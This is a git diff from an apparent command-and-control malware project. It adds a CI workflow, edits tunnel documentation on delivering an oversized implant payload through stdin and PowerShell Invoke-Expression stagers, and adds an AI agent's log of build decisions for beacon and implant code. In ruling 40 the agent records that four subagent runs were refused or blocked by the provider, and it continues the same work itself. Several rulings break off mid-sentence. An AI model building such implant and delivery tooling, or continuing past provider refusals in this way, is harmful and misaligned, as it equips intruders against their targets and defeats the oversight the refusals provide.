diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..a58eccb --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,159 @@ +# This repository had no CI at all until this file, and the reason it has +# one now is a measurement: four defects shipped in the DNS rescue channel +# and a 3528-test suite found none of them. Two of the four could not +# surface on macOS at all -- a dead QUIC endpoint raises on Darwin and +# merely times out on Linux, and Linux refuses an argv entry over 131072 +# bytes where Darwin has no such limit. The suite had never run on Linux. +# +# Two jobs, not one. They fail for different reasons, and a reader looking +# at a red run should be able to tell which broke without opening it: the +# suite is the primary guard, and the lab covers what unit tests +# structurally cannot. +# +# Neither job takes a secret. The lab generates its AES key per run with +# os.urandom, and a workflow that referenced `secrets.` would be a standing +# invitation to add one. +name: CI + +on: + push: + branches: ["**"] + pull_request: + workflow_dispatch: + +permissions: + contents: read + +jobs: + # ── The suite ── + # + # Python 3.9 because software/tests/requirements.txt says the suite runs + # in a 3.9 venv and has only ever run against it. Testing a version + # nobody develops against would report failures nobody asked for. + tests: + name: suite (python 3.9, linux) + runs-on: ubuntu-latest + timeout-minutes: 45 + steps: + - uses: actions/checkout@v4 + with: + # The requirements-floor and leak-walk tests shell out to git and + # read what is TRACKED, so a shallow clone with no history is + # fine but a detached blobless one is not. + fetch-depth: 1 + + - uses: actions/setup-python@v5 + with: + python-version: "3.9" + + # ── Three packages, each with a measured consequence ── + # + # Without them the suite reports 19 errors and 6 failures that say + # nothing whatever about the code. Measured in a python:3.9-slim + # container before this file existed: + # + # git the requirements-floor and leak-walk tests shell out to + # it; 4 errors without it + # ffmpeg the figure and GIF tools encode with it; 9 errors and + # 2 failures + # procps `ps`, which the supervisor and tunnel-spawn tests read a + # child's command line with; 5 errors and 1 failure + # + # Delete one and the run goes red for a reason that looks like a + # product fault. That is why each is named here. + - name: System packages the suite shells out to + run: | + sudo apt-get update -qq + sudo apt-get install -y -qq --no-install-recommends \ + git ffmpeg procps bash-completion util-linux + + # ── node is not optional ── + # + # Several tests are @skipUnless(shutil.which("node")), including the + # operator console's notification dedupe, batching and escaping, + # which run the page's real JavaScript. Without node they SKIP + # SILENTLY and the job still reports green over logic it never + # executed -- which is the exact failure mode this whole workflow + # exists to prevent. + # + # Measured rather than asserted, with node hidden from PATH and + # ffmpeg, git and ps left in place: test_c2_hardening, + # test_dns_rescue and test_brand_assets run 294 tests and report + # `OK` either way -- 0 skips with node, **17 skips without**, seven + # of them the notification tests above. Green both times. + # + # So node is installed deliberately, and the step below proves it is + # on PATH, which turns a failed setup into a loud error instead of a + # quiet gap. + - uses: actions/setup-node@v4 + with: + node-version: "20" + + - name: Prove the environment provides what the suite needs + run: | + set -eu + for tool in git ffmpeg ps node setsid; do + command -v "$tool" >/dev/null || { echo "missing: $tool" >&2; exit 1; } + done + python3 -c "import sys; assert sys.version_info[:2] == (3, 9), sys.version" + echo "arch: $(uname -m), $(uname -s)" + + - name: Install the suite's dependencies + run: python3 -m pip install -r software/tests/requirements.txt + + # The documented invocation, unchanged: pytest is not installed and + # the suite is not written for it. + - name: The suite + run: python3 -m unittest discover -s software/tests -t . + + # On Linux the suite runs MORE than it does on a developer's Mac: the + # shell-session tests that skip on Darwin for want of setsid(1) take + # the real path here, and their own skip message says the fallback + # "really has no ^C" on the deployment target. A count that silently + # dropped would hide a module that stopped importing, which has + # happened here before -- 26 reported errors once hid 968 tests that + # never ran. + - name: Report what actually ran + if: always() + run: | + python3 -m unittest discover -s software/tests -t . 2>&1 \ + | tail -3 || true + + # ── The lab ── + # + # The integration proof: a beacon whose transports fail because they do + # not route, through a real recursive resolver, on Linux. Separate from + # the suite because it needs Docker and because a red lab means something + # different from a red suite. + lab: + name: end-to-end lab (docker, linux) + runs-on: ubuntu-latest + timeout-minutes: 30 + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-python@v5 + with: + python-version: "3.9" + + # The driver detects which compose spelling exists rather than + # hardcoding one: `docker compose` is the plugin form these runners + # ship, while the project's development machine has only the + # standalone `docker-compose`. Both were measured. + - name: What docker and compose are here + run: | + docker --version + docker compose version || docker-compose version + echo "arch: $(uname -m)" + + - name: Build the lab's images + run: | + docker compose -p raccoon-lab \ + -f software/tests/lab/docker-compose.yml --profile smb build + + # Exit 2 means "I could not run" and is distinct from 1, "it failed". + # If Docker were missing the driver would say so and exit 2 rather + # than failing in a way that looks like a product fault -- but on + # this runner it is present, so a 2 here is itself a finding. + - name: Every scenario + run: python3 tools/e2e_lab.py diff --git a/docs/TUNNEL.md b/docs/TUNNEL.md index 7035f73..547accb 100644 --- a/docs/TUNNEL.md +++ b/docs/TUNNEL.md @@ -484,9 +484,9 @@ check — and not about the package being present. ## Staging onto a host with no Python -The ordinary artifact is `python3 -c "…"`, and a one-liner cannot install -Python. The second artifact shape from the same generator is a **stager** -— a POSIX shell script and a PowerShell script — which: +The ordinary artifact is `printf %s "…" | python3 -`, and a one-liner +cannot install Python. The second artifact shape from the same generator +is a **stager** — a POSIX shell script and a PowerShell script — which: 1. **probes** for a usable interpreter and, finding one, runs the ordinary one-liner and stops there; @@ -514,16 +514,28 @@ Then, as an operator step rather than something the stager does: only when it finds nothing. **On Windows the stager is the route, and the inline one-liner is not.** -At roughly 115 KB the generated `python -c "…"` exceeds both the 8191 -character `cmd.exe` command line and the 32767 character `CreateProcess` -limit, so it cannot be delivered on that platform at any quoting. It is -still emitted, because it is the text the Windows stager runs through -`Invoke-Expression` when its probe finds a Python — where there is no -length limit — and because an operator may paste it into something that -does not go through `cmd.exe`. Both one-liners are therefore -double-quoted with single quotes inside, and the stage carries no `$`, -backtick, backslash or `"`, so one text survives `sh -c`, `cmd.exe` and -`Invoke-Expression` alike. +At roughly 135 KB (135,453 characters with one layer, about 138 KB at +the default of three, up to 143 KB at six) the generated `python -c "…"` +exceeds both the 8191 character `cmd.exe` command line and the 32767 +character `CreateProcess` limit, so it cannot be delivered on that +platform at any quoting. It is still emitted, because it is the text the +Windows stager runs through `Invoke-Expression` when its probe finds a +Python — where there is no length limit — and because an operator may +paste it into something that does not go through `cmd.exe`. Both +one-liners are therefore double-quoted with single quotes inside, and the +stage carries no `$`, backtick, backslash or `"`, so the same stage +survives `sh`, `cmd.exe` and `Invoke-Expression` alike. + +**On Linux the payload cannot be an argument at all.** The kernel refuses +any single `argv` entry over 131072 bytes (`MAX_ARG_STRLEN`), and the +generated stage is larger, so `python3 -c "…"` fails to exec with +`Argument list too long` however it is quoted. macOS has no such limit, +which is why this went unnoticed. The Unix one-liner is therefore +`printf %s "…" | python3 -`: the payload travels on python's stdin, and +`printf` is a builtin of dash, bash and busybox ash, so nothing execs it +and the artifact is still one line. `%s` keeps the stage out of the format +string, so a `%` inside it is data. The POSIX stager carries the same +text through `eval '…'`, which is why it needed no change. ### The dead-drop list, and the hash that has no override @@ -584,7 +596,9 @@ source. Point it at a drop and it will fetch, verify and unpack whatever is there; nothing in this repository produces that file for a POSIX host. Its value today is its **probe-and-delegate** path: on a host that has a Python it runs the ordinary one-liner, which is the common case on Linux -and macOS. +and macOS. That one-liner is the `printf … | python3 -` form because a +single `argv` entry over 131072 bytes cannot be exec'd on Linux (see +above); a `python3 -c "…"` form would make this path fail there. **The stager installs no persistence**, although an earlier design step said it would. The per-build autorun name, the gate and the payload name diff --git a/docs/superpowers/plans/2026-11-16-e2e-docker-lab-rulings.md b/docs/superpowers/plans/2026-11-16-e2e-docker-lab-rulings.md new file mode 100644 index 0000000..4cfd2e5 --- /dev/null +++ b/docs/superpowers/plans/2026-11-16-e2e-docker-lab-rulings.md @@ -0,0 +1,513 @@ +# Rulings: the Linux end-to-end lab + +Every decision I took on the operator's behalf while executing +`docs/superpowers/plans/2026-11-16-e2e-docker-lab.md`, in the order I took +them, with what each costs if it is wrong. + +This file exists because a chat window cannot hold them and because a +ruling that reaches nobody was a decision made in secret. The branch is +21 commits; read this, and rework whatever I got wrong. + +Source: `.superpowers/sdd/2026-11-16-e2e-docker-lab/progress.md` (git-ignored +scratch, also copied to the main checkout). + +--- + +## 1 + +Ruling: the worktree keeps its misleading directory name — why: using-git- +worktrees says an existing linked worktree is not replaced, and moving it +would create phantom state the harness does not track — costs: a subagent +could infer the wrong task from the path, so every dispatch names the absolute +path and the branch. + +## 2 + +Ruling: Task 2's verification mechanism changed from a monkeypatch to a +recording proxy — why: measured that socket objects reject attribute +assignment, so the plan's test could not be written at all — costs: nothing; +the proxy additionally pins the ordering, which the monkeypatch would have +left to chance. + +## 3 + +Ruling: Task 6 must use PyYAML — why: it is installed and already required by +software/requirements.txt, and a hand-rolled YAML reader in a test is a defect +magnet the review rubric would reject — costs: nothing. + +## 4 + +Ruling: Tasks 1 and 2 run first and commit separately — why: reverse-socks- +tunnel and implant-shell-session are live in the same files — costs: if either +conflicts, the two commits can be cherry-picked out without unpicking the lab. + +## 5 + +Ruling: no plan text mandates anything the review rubric treats as a defect — +checked for tests that assert nothing and for duplicated logic blocks; the +only verbatim repetition is the Docker command in Task 2 Step 5 and Task 9 +Step 5, which differ in their unittest argument and are a command line rather +than a logic block. + +## 6 + +Ruling: the implementer's scope extension stands -- it updated +test_tunnel_config.py and test_tunnel_yara.py because they parsed the "python3 +-c " prefix -- why: a change that breaks a caller owns fixing the caller -- +costs: nothing. + +## 7 + +Ruling: test_the_quoting_invariant_still_holds is a guard, not a +discriminator, and must say so -- why: it passed before the change too, and a +test that cannot fail must not look like proof; I explicitly forbade inventing +a way to make it fail, because a dishonest discriminator is worse than an +honest guard -- costs: the fix has one less test arguing for it, which is +accurate rather than cheaper. + +## 8 + +Ruling: the stale comments were NOT out of scope -- beacon.py ~7021 and ~7315, +server.py:609 described the artifact as python3 -c with sys.argv[0] == "-c" -- +why: in this codebase comments carry the reasoning and a reader trusts them, +so a comment that lies about a shipped artifact's shape is a defect even where +no code compares the literal -- costs: a slightly larger diff. + +## 9 + +Ruling: the "roughly 115 KB" figure in docs/TUNNEL.md gets fixed by +measurement, not by copying my number -- why: a wrong number beside a new +correct one is worse than either alone -- outcome: measured 135,453 chars at 1 +layer, 138,465 at the default 3, 143,105 at 6. + +## 10 + +Ruling: all three Minor findings get fixed rather than carried -- why: two +were names claiming more than the test checked, which is the exact defect +class that cost this project twice this week (a test asserting its own +invented spelling, and a QUIC test that only passed because macOS raises where +Linux is silent) -- costs: one cheap fix round. + +## 11 + +Ruling: the implementer was right that my cited line numbers were diff- +relative -- it reflowed the lines this task's diff added and said so instead +of guessing -- no correction needed. + +## 12 + +Ruling: MY PLAN TEXT WAS WRONG and the implementer's correction stands -- the +plan's comment said shutdown() wakes a blocked accept() "on both platforms" -- +why: the implementer measured, and the reviewer independently re-measured, +that on macOS shutdown() on a LISTENING socket raises OSError(57, 'Socket is +not connected') and close() is what wakes the accept +(ConnectionAbortedError(53)); only on Linux does shutdown() do the waking -- +consequence: the two try/except blocks are load-bearing rather than defensive, +because one combined try would raise at shutdown() on macOS and skip close() +entirely -- costs: nothing; the comments are now true where my text would have +shipped a confident falsehood into a file whose comments carry the reasoning. + +## 13 + +Ruling: the brief's predicted RED output was also wrong -- it said [] where +the real failure was ['close'] != ['shutdown', 'close'] -- why: the old stop() +does call close(), so the proxy records it; the missing "shutdown" is still +exactly the property under test -- costs: nothing, and it is a reminder that a +predicted failure string in a plan is a guess unless it was run. + +## 14 + +Ruling: Minor 1 is carried, not fixed -- the test comment repeats the platform +reasoning from the fix's comment, and the reviewer suggested a cross-reference +-- why: a pointer can go stale as easily as a duplicate, both comments were +just measured correct by two independent parties, and the value does not +justify a fix round plus a re-review -- costs: if one comment is later edited +without the other, they diverge; recorded here so the final review can take +another look. + +## 15 + +Ruling: the full macOS suite and the Linux run predate a comment-only amend, +and that is accepted -- why: the diff shows no code or test-logic change after +the run, test_beacon was re-run afterwards (78 OK), and the controller's own +full-suite run covers the rest -- costs: a comment typo could in principle +break a docstring-asserting test, which the controller's run would catch. + +## 16 + +Ruling on verification cadence: the controller runs the full suite itself at +GROUP boundaries -- after Task 2 (the two splittable product fixes), after +Task 5 (the product changes), after Task 8 (the lab), and before the final +review -- not after every task -- why: each run is eight minutes of serialized +waiting because an implementer editing files mid-run makes the result +meaningless, and nine runs would cost over an hour while the implementer's own +run plus an independent task reviewer already gate each task -- costs: a +regression introduced in task N is caught at the group boundary rather than +immediately, which is a longer bisect but the same safety. + +## 17 + +Ruling, CROSS-TASK and it changes Task 4: a server without the route answers +405, not 404 -- the implementer measured this; the catch-all / +accepts only POST, so a GET to an unrouted path is Method Not Allowed -- and +c2client._request treats ONLY 404 as missing when allow_missing=True +(c2client.py:237), so a 405 raises C2Unavailable -- consequence: Task 4's +planned "the tool still works when the c2 has no such route" test would have +been written against the wrong status and the tool would have failed hard +against any older team server -- decision: Task 4 catches the failure at the +TOOL level and degrades to {"stuck": ...}, rather than widening allow_missing +to cover 405 globally, which would make every other call treat a method error +as an absent resource -- costs: the tool swallows a genuine server fault on +that one sub-call, which is the right trade for a feature that must not break +the call it rides in. + +## 18 + +Ruling: the deleted-agent test removes the entry from the agents dict +directly, because server.py has no agent-delete route -- why: the behaviour +under test is the server's attribution against the live fleet, and the fleet +dict IS that state -- costs: if a delete route is ever added with extra +bookkeeping, this test would not exercise it. + +## 19 + +Ruling: 2-byte fingerprint collisions are accepted, not fixed -- two beacons +can share one, so a rescue could in principle be attributed to the wrong agent +-- why: the fingerprint is 2 of the record's 16 bytes and the format is fixed +by the design as a non-goal to widen; at a dozen agents the birthday +probability is about a tenth of a percent -- costs: a misattributed diagnosis +on a large fleet, which argues for widening the record in a later change +rather than here. + +## 20 + +Ruling: Minor 1 is carried, not fixed -- each unattributed rescue appends an +event_log entry, and _log_event trims 1000 entries once the log passes 5000, +so a beacon that retries in a loop could push out unrelated events -- why: +sending one requires the beacon key, the rescue latch allows one per +exhaustion episode, and a per-fingerprint rate limit is a product decision +rather than this task's -- NOTE the connection: the earlier dns-rescue project +parked a minor that a restart loop sends one rescue per restart, which is +exactly the loop that would drive this -- costs: on a crash-looping beacon the +operator's event log ages faster; the 50-record cap on the list itself is +unaffected. + +## 21 + +Ruling: Minor 2 and 3 carried -- a test cleanup that deletes event_log by +index would shift if the log hit its trim mid-test, and two tests share a +mechanism -- why: both are harmless at the handful-of-events scale these tests +run at, and the reviewer explicitly did not ask for a change on the second. + +## 22 + +Ruling: MY OWN RULING WAS THE LOOSE PART -- I wrote "an empty OR absent +unattributed list" and the implementer reasonably took the first, which means +a model cannot tell "asked, there are none" from "could not ask" -- decision: +on a failed fetch the key is OMITTED, present-and-empty means none, and the +tool description states the convention because a model cannot infer one it was +never told -- no second status flag, because two channels for one fact drift +apart -- costs: a caller that ignores key presence sees nothing at all, which +is the failure mode we want rather than a false negative. + +## 23 + +Ruling: fingerprint belongs in each entry and its absence from my brief was an +error, not a decision -- why: without it the entries are indistinguishable, so +a model cannot tell one unknown beacon reporting three times from three +unknown beacons, and that changes what it would do -- costs: two bytes, and no +target string can reach it by construction. + +## 24 + +Ruling: the implementer's NARROWING of my instruction stands -- I said catch +"any reason", it caught C2Unavailable and C2Unauthorized only -- why: a +programming error in that path must surface as a crash rather than quietly +become "no unattributed rescues"; a code comment now warns against simplifying +it to except Exception -- this is the second time an implementer improved on +my wording by being stricter than it. + +## 25 + +Ruling: removing allow_missing=True from unattributed_rescues() is correct and +supersedes the brief -- why: with it a 404 returns None, the client would +render [], and the tool would emit "asked, none" for a server that could not +be asked, defeating the ruling above; 404 and 405 now both raise and the tool +omits the key for both, with _request untouched so allow_missing stays +404-only for every other caller -- costs: none found; the reviewer verified +the shared helper is unchanged. + +## 26 + +Ruling: Minor 1 WILL be fixed -- nothing in the suite pins the premise that an +unrouted GET answers 405, which is the premise my own ruling rests on; if +someone adds a GET catch-all the rationale becomes silently wrong -- it also +closes the reviewer's one open warning -- costs: one assertion. + +## 27 + +Ruling: Minor 2 carried -- the tool silently drops non-dict entries from the +served list, so a malformed record shrinks the count without a signal -- why: +it matches the tolerance of the surrounding file, and the alternative is +element-level validation in the client that would fail the whole call over one +bad record -- costs: a model could see "present, fewer than expected" and not +know why. + +## 28 + +Ruling on the unexplained red run: NOT waved through. The implementer reported +run A of the full suite failing with 5 failures right after two mutation +experiments, kept only the tail, and guessed stale bytecode. The reviewer +found a better explanation -- both mutations changed the file's size, so pyc +invalidation by mtime+size would have caught them, whereas a cp file-swap +overlapping a still-running suite produces exactly the 5 failures mutation 1 +produced. I am re-running the suite myself with every __pycache__ removed +first, and I am NOT dispatching the next edit until it finishes, because doing +so would set the same trap the hypothesis describes. + +## 29 + +Ruling: the premise test needs no mutation evidence -- the implementer worried +it had never been seen red -- why: it asserts one status code from the real +app with no logic between request and assertion, the only way it stays green +under a GET catch-all is one that itself answers 405 (which would keep the +premise true anyway), and the chosen path /never-a-route-405-premise/x cannot +plausibly become routed -- costs: nothing. + +## 30 + +Ruling: the red run A is CLOSED as an artifact of the implementer's own +tooling, not a flake -- controller re-ran the full suite with every +__pycache__ removed first: 3470 tests, OK, 3 skips, zero FAIL/ERROR -- lesson +carried into later dispatches: never swap a source file while a suite runs +against it, and keep a failing run's whole output rather than its tail, +because the tail is what cost the certainty. + +## 31 + +Ruling: the first-load toast storm IS a defect and the brief was wrong -- the +implementer raised it and deferred to the brief's "one per unseen record"; a +server holding 50 records would have raised 50 notifications at once, which is +what a real operator meets opening the console on a week-old server -- +decision: ONE rule, no first-tick special case -- when a single poll finds +more than one unseen record, raise one notification for the batch; it states +the count and that they are unclaimable and names none of them -- costs: the +per-record detail is only in the Server Log drawer, because toast() shows and +files in one call and separating them would be new plumbing the ruling +forbade. + +## 32 + +Ruling: Minor 1 carried -- the seen-set is never pruned -- why: the server +caps the list at 50, so it grows only with genuinely new records at a few +bytes each; unbounded in principle, bounded in practice, and the suggested fix +would re-announce a record that dropped out of the cap and came back. + +## 33 + +Ruling: Minor 2 carried -- a failed poll rejects unhandled, so an expired +token logs an error every three seconds -- why: refreshAgents on the same page +already behaves identically, so this adds no new failure mode; the reviewer +confirmed other intervals are unharmed because each callback is its own +promise. + +## 34 + +Ruling, HARD INPUT TO TASK 9: Minor 3 is not carried, it is routed. The dedupe +and batching tests are @skipUnless(shutil.which("node")), so on a host without +node they skip SILENTLY and exactly the logic this task is about goes +unverified. Task 9's CI job must have node available, and its test must assert +the workflow provides it -- otherwise CI reports green over a feature it never +exercised, which is the failure mode this whole branch exists to prevent. + +## 35 + +Ruling, CROSS-TASK and it binds Task 7: "docker compose" DOES NOT WORK on this +machine -- "docker: unknown command: docker compose", while the standalone +"docker-compose" is 5.5.1 and works -- I measured both -- consequence: the +compose file's own header documents "docker compose -f ..." which fails here, +and a driver that hardcodes either form breaks on the other; newer ubuntu- +latest images ship the plugin form and have dropped the v1 standalone, so +hardcoding "docker-compose" would break CI exactly as hardcoding "docker +compose" breaks this laptop -- decision: Task 7's driver DETECTS which form +works and Task 6's header documents both. + +## 36 + +Ruling: the TDD evidence for this task is unrecoverable and I am not +pretending otherwise -- the code existed before any fresh implementer could +see it fail -- compensating control: the reviewer must judge whether each of +the 30 tests would FAIL if the topology were wrong, by mutation rather than by +a RED-first transcript, and the completing implementer must produce that +mutation evidence. + +## 37 + +Ruling: the draft is kept rather than discarded and rewritten -- why: it is +verifiably sound on the four objective checks above, it chose TEST-NET-1 (RFC +5737) for the subnet so it can never collide with a real network, and it +carries its reasoning in comments in the house style; discarding it would cost +a full re-implementation to reach the same place -- costs: no RED-first +evidence, which the ruling above compensates for. + +## 38 + +Ruling: both design departures were MY document being wrong, and I corrected +it rather than the code -- the table said the beacon image installs "requests" +while beacon.py is stdlib-only (its HTTP session is _HttpSession over urllib), +which contradicted this same document's stdlib-only constraint; and the smb-up +scenario spoke of giving the SMB listener "a valid token" when only the DNS +listener has that concept -- costs: nothing, and the note now says both were +caught by an implementer reading the design against the code. + +## 39 + +Ruling: Task 6's concern 3 -- "the lab has never been brought up, nothing here +is evidence a scenario runs" -- is accepted as TRUE and is exactly Task 7's +job. It is not a defect in Task 6; it is the boundary between them. + +## 40 + +Ruling: execution switches to NATIVE for the remaining tasks, declared rather +than quietly. FOUR consecutive dispatches were refused today: Task 6's first +implementer (sonnet-5-5, "Provider blocked the response"), Task 6's reviewer +twice (opus-5 and opus-5-5, both "completed without a text response"), and +Task 7's implementer (opus-5, same). openai.gpt-5.4 does not exist in this +catalog. The same content area produced the same pattern in the earlier dns- +rescue project, where both whole-branch review dispatches were blocked. The +operator chose subagent-driven and I am not overriding that preference -- the +provider is. What I keep from the chosen method: a task review for every task, +done by me and DECLARED as a self-review, with objective verification (running +things, mutation, counting assertions) in place of a fresh reader's judgement. +What is lost: independent context, and this branch has already shown twice +this week that a fresh reader finds what the author cannot. That loss is +recorded here so the final review can weigh it. + +## 41 + +Ruling: the driver's "refuse if the project's containers exist" check must be +scoped to the raccoon-lab project ONLY. There are 15 foreign containers on +this host (fld-*, up 43 hours) belonging to other work, and a driver that +refused on any running container, or worse tore them down, would be a +destructive bug. docker-compose -p raccoon-lab ps is the correct scope. + +## 42 + +Ruling: _compose called subprocess.run WITHOUT env, so the per-run RACCOON_KEY +never reached docker-compose, ${RACCOON_KEY:-} resolved to empty, and the team +server exited 2 with its own correct complaint -- which reads like a lab fault +and is not one. Diagnosed by starting the team server alone under a SEPARATE +project name (raccoon-probe) and reading its log, rather than guessing. The +reason is now in _compose's docstring. + +## 43 + +Ruling: I read the resolver's queries from + +## 44 + +Ruling: I took agents[0]["id"] where the fleet key is agents[0]["agent_id"] -- +"id" is the implant's own identifier -- so /api/agents/ answered 404. This +is the SAME distinction the rescue's attribution turns on, and the one the +builder check flagged in the design days ago; I then walked into it in the +driver. + +## 45 + +Ruling: python 3.9's argparse validates the EMPTY list that nargs="*" produces +against + +## 46 + +Ruling: my failure message said "the latch is the OpSec promise and a second +query breaks it" when ZERO rescues had crossed -- the opposite failure. A +message that misdescribes the failure sends the next reader the wrong way. The +two cases are now distinguished. + +## 47 + +Ruling: a test I wrote forbade "down" in any _compose call, which banned the +legitimate teardown and asserted the opposite of what was meant. It now pins +the real property: every compose call goes through one helper that injects -p +PROJECT, and nothing reaches for "down" outside it. This is the same defect +class I have flagged in three other people's work this week. + +## 48 + +Ruling: I appended DriverTests with + +## 49 + +Ruling, A DEFECT OF MY OWN AND THE FOURTH OF THIS CLASS THIS WEEK: the first +smb-up check compared last_channel to "smb". A listener relays to the beacon +handler over HTTP, so an SMB delivery lands as last_channel: http and the +field cannot distinguish SMB from HTTPS AT ALL. The check only failed on +"dns", so the scenario PASSED while printing "expected smb" next to "http" -- +its central claim proved by nothing. I have flagged exactly this class three +times in other people's work this week (a test asserting its own invented +spelling, a QUIC test that only passed because macOS raises where Linux is +silent, a name claiming more than the test checked). The fourth was mine. +Replaced with an inference from an implant invariant: a leg reaches +_leg_status only when it FAILS and the ladder is ordered, so if SMB delivered +then smb is absent from every cycle AND quic was never reached. Both +directions demonstrated. + +## 50 + +Ruling: per-scenario expectations, not one shared check -- why: Task 7's +assertion would have reported smb-up's correct "no diagnosis" as a failure, so +a shared check is wrong by construction once the scenarios differ; a test now +refuses a scenario that declares no expectation at all, because such a +scenario passes merely by running. + +## 51 + +Ruling: BOTH jobs run, not just the lab -- why: this repository had no CI at +all, and the suite is the primary guard while the lab covers what unit tests +structurally cannot; running one without the other would misrepresent either +-- costs: a longer CI run. + +## 52 + +Ruling: python pinned to 3.9 -- why: software/tests/requirements.txt says the +suite runs in a 3.9 venv and has only ever run against it -- costs: a 3.12 +incompatibility would not be caught here, which is a separate piece of work. + +## 53 + +Ruling: MY OWN TEST DESIGN WAS THE DEFECT, and it is the FIFTH of this class +this week. CiTests.setUpClass raised SkipTest when the workflow was absent, so +deleting CI would have removed its own guard -- the same silent green the node +check exists to prevent. Changed to fail. + +## 54 + +Ruling, found by the final review and the most serious thing in it: THREE CI +tests asserted against the file's RAW TEXT, which contains my own explanatory +comments. The words node, ffmpeg and 3.9 all appear in the prose explaining +why they matter, so the tests stayed green when the step they describe was +deleted. MEASURED: removing actions/setup-node left all ten CI tests passing. +They now assert against the PARSED structure -- the setup-node step, the +actual apt-get command, the real python-version value -- and two counter- +checks confirm the guard fires: removing the step says "no setup-node step", +removing ffmpeg from the apt line says "named in prose but never installed". +That phrase is the distinction this branch failed on four times before. + +## 55 + +Ruling: the workflow's central claim is MEASURED, not argued. With node hidden +from PATH and ffmpeg, git and ps left in place, test_c2_hardening + +test_dns_rescue + test_brand_assets run 294 tests and report OK either way -- +0 skips with node, 17 WITHOUT, including all seven notification tests (dedupe, +batching, escaping). Green both times. The claim that node's absence is silent +is exactly right, and the numbers are now in the workflow. + +## 56 + +Ruling: my FIRST attempt to measure that was unclean and I am recording it -- +I reduced PATH to /usr/bin:/bin and removed ffmpeg along with node, so the 11 +failures were all "ffmpeg is not on PATH" and proved nothing about node. Two +variables changed at once. The second attempt failed too, because node is in +/opt/homebrew/bin as well as nvm's. The third isolated it with a symlink +directory. This is the same mistake I proved against an implementer earlier in +this branch, when its red run came from a concurrent file swap. diff --git a/docs/superpowers/plans/2026-11-16-e2e-docker-lab.md b/docs/superpowers/plans/2026-11-16-e2e-docker-lab.md new file mode 100644 index 0000000..cda359c --- /dev/null +++ b/docs/superpowers/plans/2026-11-16-e2e-docker-lab.md @@ -0,0 +1,623 @@ +# Linux end-to-end: a reproducible lab, and the three defects it found + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Make the project's Linux behaviour provable — a Docker lab where a beacon's legs fail because they do not route, a CI job that runs it and the suite, and fixes for the three Linux defects that writing the CI job uncovered. + +**Architecture:** Three container networks put the beacon somewhere the team server is not, so HTTPS, SMB and QUIC fail by routing rather than by stub. A `dnsmasq` container sits in front of the DNS listener, so the hop the rescue channel rests on is exercised. A driver in `tools/` brings the lab up, runs one scenario, asserts against the resolver's own query log and the operator API, and tears down. + +**Tech Stack:** Docker Compose, `dnsmasq`, `python:3.12-slim`, the project's existing `software/c2/listeners/Dockerfile`, stdlib `unittest`, GitHub Actions. + +**Spec:** `docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md` + +## Global Constraints + +- The suite runs as `/usr/bin/python3 -m unittest discover -s software/tests -t .` (Python 3.9.6, ~7 minutes, 3258 tests on macOS). `pytest` is not installed. +- CI pins **Python 3.9** and installs **`git`, `ffmpeg`, `procps`**; without them the suite reports 19 errors and 6 failures that say nothing about the code. +- The beacon stays **stdlib-only**. `software/c2/listeners/` stays stdlib-only and must not import `server.py` or `beacon.py`. +- `software/c2/docker-compose.yml` is **not modified**. It describes a deployment. +- The lab publishes **no UDP port**. TCP for the operator socket is published and is how the driver and a browser reach it. +- Linux refuses any single `argv` entry over **131072** bytes (measured: 131072 passes, 131073 raises `OSError 7`). +- The rescue record stays **16 bytes**. No task widens the wire format. +- The stage carries no `$`, backtick, backslash or `"`. Any new one-liner form must keep that invariant true. +- Tasks 1 and 2 touch tunnel and implant code that `reverse-socks-tunnel` and `implant-shell-session` are working in. They come first, in their own commits, so they can be split out if a conflict demands it. + +## Review Focus + +1. **The stage grows past 131072 again.** Task 1 removes today's limit by moving the payload to stdin, but nothing bounds the one-liner's size, so a future form that reverts to `-c` would fail silently on Linux only. Task 1 adds a test that no generated artifact puts a payload in an `argv` entry. +2. **A toast storm.** The notification in Task 5 polls a list that is capped at 50 and never cleared, so a naive poll re-fires for every record on every tick. Task 5 adds a test that a record already seen raises no second notification. +3. **A rescue for a beacon the operator removed.** Attribution matches the live fleet, so a record for an agent that has since been deleted lands in the unattributed list. Task 3 adds a test that this is reported rather than dropped, and that nothing from the record is trusted as an agent id. +4. **Containers left behind by a crashed run.** A driver that reuses a stale container would report a pass that means nothing. Task 7 adds a test that the driver refuses to start when its project's containers already exist. +5. **`printf` is not a builtin.** Task 1's form relies on `printf` being internal to the shell; where it is an external binary the payload becomes an `argv` entry again and the limit returns. Task 1 adds a test asserting the one-liner uses only shell-internal mechanisms for the payload, and `docs/TUNNEL.md` states the requirement. + +--- + +## File Structure + +| File | Responsibility | +|---|---| +| `software/c2/server.py` | Modify: the one-liner's form (~1896); `_log_event` on the unattributed branch and the new route (~2951) | +| `software/c2/beacon.py` | Modify: `_NtlmProxyRelay.stop` (~2097) | +| `software/agent/c2client.py` | Modify: add `unattributed_rescues()` beside `list_agents()` (~270) | +| `software/agent/tools/egress.py` | Modify: `get_stuck_beacons` gains an `unattributed` key | +| `docs/TUNNEL.md` | Modify: the Linux argv limit, and that the payload travels on stdin | +| `software/tests/lab/docker-compose.yml` | Create: the five roles on three networks | +| `software/tests/lab/teamserver.Dockerfile` | Create: `python:3.12-slim` + flask, cryptography | +| `software/tests/lab/beacon.Dockerfile` | Create: `python:3.12-slim` + requests | +| `software/tests/lab/resolver.Dockerfile` | Create: `debian:stable-slim` + dnsmasq | +| `software/tests/lab/beacon_entry.py` | Create: builds the beacon config, runs the stuck loop, prints a verdict | +| `tools/e2e_lab.py` | Create: the driver — up, scenario, assert, down | +| `software/tests/test_e2e_lab.py` | Create: tests of the driver and the compose file that need no Docker | +| `software/tests/test_dns_rescue.py` | Modify: the unattributed surfaces | +| `software/tests/test_tunnel_spawn.py` | Modify: the one-liner's form | +| `software/tests/test_beacon.py` | Modify: the relay teardown | +| `.github/workflows/ci.yml` | Create: the `tests` and `lab` jobs | + +--- + +### Task 1: The Unix one-liner stops putting its payload in argv + +**Files:** +- Modify: `software/c2/server.py:1896` (`oneliner_unix`) +- Modify: `docs/TUNNEL.md:516` and `:586` +- Test: `software/tests/test_tunnel_spawn.py` + +**Interfaces:** +- Consumes: nothing. +- Produces: `oneliner_unix` is `printf %s "" | python3 -`. 